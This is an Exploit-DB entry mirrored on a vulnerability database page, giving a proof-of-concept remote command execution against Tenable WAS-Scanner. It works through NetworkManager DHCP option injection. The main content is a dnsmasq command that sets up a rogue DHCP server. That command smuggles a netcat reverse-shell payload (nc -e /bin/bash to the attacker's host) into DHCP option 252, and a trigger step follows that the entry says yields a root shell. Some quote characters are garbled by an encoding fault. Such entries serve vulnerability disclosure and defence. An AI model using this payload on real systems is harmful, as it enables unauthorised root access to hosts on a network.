Lucene search
K

Tenable WAS-Scanner 7.4.1708 - Remote Command Execution

🗓️ 07 Sep 2018 00:00:00Reported by Sameer GoyalType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

Tenable WAS-Scanner 7.4.1708 Remote Command Execution Discovery by Sameer Goyal 2018-05-3

Code
# Exploit Title: Tenable WAS-Scanner 7.4.1708 - Remote Command Execution 
# Discovery by: Sameer Goyal
# Discovery Date: 2018-05-30
# Vendor Homepage: https://www.tenable.com/
# Software Link: https://www.tenable.com/products/tenable-io/web-application-scanning
# Tested Version: WAS-20180328
# Vulnerability Type: Remote Command Execution (RCE)
# Tested on OS: CentOS  7.4.1708
# Vulnerable daemon version: NetworkManager 1.8.0-11.el7_4
  
# Steps to produce the RCE: 

# Step 1:  Setup your malicious DHCP server in the network using dnsmasq:

dnsmasq --interface=eth1 --bind-interfaces  --except-interface=lo --dhcp-range=192.168.51.21,192.168.51.25,1h --conf-file=/dev/null --dhcp-option=6,192.168.51.1 --dhcp-option=3,192.168.51.1 --dhcp-option="252,x'&/home/wizard/nc -nv 192.168.51.1 5555 -e /bin/bash #"

# DHCP-option-3 => gateway IP/ DHCP server IP.
# DHCP-option-6 => DNS IP, which can be same as gateway IP( not mandatory)
# DHCP-range => simply subnet range (1h, for 1 hour only)
# DHCP option=> ì252,xí&<payload> #î

# Start the listener on port 5555 on other terminal .
# Step 2: Send the normal IP request to the malicious DHCP server from the victim machine.

nmcli con up ìWired Connection 1î && ifconfig

# Step 3: Check the listener, we have got the reverse shell with root privileges.
# Reference: https://www.exploit-db.com/docs/english/45334-obtaining-command-execution-through-the-networkmanager-daemon.pdf

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation